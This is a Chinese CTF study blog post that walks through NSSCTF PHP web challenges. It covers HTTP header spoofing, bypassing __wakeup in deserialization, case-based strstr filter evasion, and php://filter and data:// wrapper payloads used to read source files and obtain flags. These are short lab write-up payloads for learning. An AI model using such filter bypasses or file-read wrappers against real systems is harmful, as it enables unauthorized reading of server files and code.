Web学习日志(一)

目录

1、HTTP头注入

2、wake up函数绕过

3、strstr函数的绕过

4、析构函数和构造函数

5、json_encode与json_decode

json_encode:

json_decode:

6、php伪协议

php://filter读取文件

file_get_contents()函数

data://协议


1、HTTP头注入

User-Agent:使服务器能够识别用户的操作系统,浏览器版本等

Cookie:网站为了辨别用户身份进行session跟踪

X-Forwarded-For:简称XFF头,代表HTTP端真实的ip(修改XFF头可以实现IP伪造)

Rerferer:浏览器向web服务器表明自己的页面来源

Host:指定用户自己想访问的web服务器的域名,IP,端口

例题:nssctf:[SWPUCTF 2021 新生赛]Do_you_know_http

2、wake up函数绕过

_wakeup魔术方法在执行反序列化时,会被优先调用,而不会调用_construct方法

绕过方法:序列化字符串中表示对象属性个数的值大于真实属性的个数时,就会跳过_wakeup的执行

比如·:

O:6:"people":3:{s:4:"name";s:6:"张三";s:3:"age";s:2:"18"}

people 后面的值 3 大于真实属性个数 2,在反序列化时不执行 __wakeup。并且此时,反序列化会立刻强制触发 __destruct() 。

例题:nssctf:[SWPUCTF 2021 新生赛]no_wakeup

3、strstr函数的绕过

strstr函数匹配时要区分大小写,所以可以用大小写绕过

如:strstr($page, "php://")

PHP就不会被过滤掉

4、析构函数和构造函数

__construct()构造函数,它是在实例化一个对象(即new时)会自动调用

__destruct是析构函数,会在对象的所有引用被删除或者当对象被显式销毁时自动执行,比如new完一个对象,当创建完成之后就不引用了,如果有赋值指向就会立马丢弃,触发destruct函数。

例题:nssctf:NSSCTF | 在线CTF平台

<?php
class wllm{
    public $admin;
    public $passwd;
    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }
 
        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}
   

构造:

$w=new wllm();
$w->admin="admin";
$w->passwd="ctf";
$w=serialize($w);
echo $w;

5、json_encode与json_decode

json_encode:

        主要用来将数组和对象转化为json格式。

(1)将数组转化为json格式:

        代码:

$arr = array ('a'=>1,'b'=>2,'c'=>3,'d'=>4,'e'=>5);
  
echo json_encode($arr);

输出如下:

{"a":1,"b":2,"c":3,"d":4,"e":5}

(2)将对象转化为json格式:

代码:

$test->site = 'ido321.com';
  
$test->id = 22;
  
$test->name = 'dwqs';
  
echo json_encode($test);

输出如下:

{
    "site":"ido321.com",
  
    "id":22,
  
    "name":"dwqs",
  }

json_decode:

        将json格式转化为数组的格式

代码:

$arr = Array('one', 'two', 'three');
  
echo json_encode($arr);

结果:

["one","two","three"]

例题:NSSCTF | 在线CTF平台

判断条件是if ($id=="wllmNB"&&$json['x']=="wllm")

我们只需使json['x']的值为wllm,id=wllmNB即可,编写php脚本:

<?php
$arr = array('x'=>'wllm');
$json = json_encode($arr);
echo($json)

?>

输出结果:

{"x":"wllm"}

拿到flag

6、php伪协议

练习例题:NSSCTF | 在线CTF平台

php://filter读取文件

打开可以看到url栏中有个参数wllm,我们要访问hint.php文件,于是可以考虑用php伪协议来读取该文件

构造payload:

wllm=php://filter/read/convert.base64-encode/resource=hint.php

 就可以看到多了一串base编码

解码得:

<?php

//go to /test2222222222222.php

?>

访问该文件,即可看到php代码:

 <?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
    echo "success\n";
    echo $flag;
}
?> 

file_get_contents()函数

该函数用于读取文件

(file_get_contents($a,'r') === 'I want flag'表示以只读的形式打开文件a,并且判断a的内容是否等于“I want flag”,可知我们只要以get的方式将“I want flag”传入a中,就可拿到flag

data://协议

和php;//filter类似,构造payload:

?a=data://text/plain,I want flag

拿到flag

  • 23
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值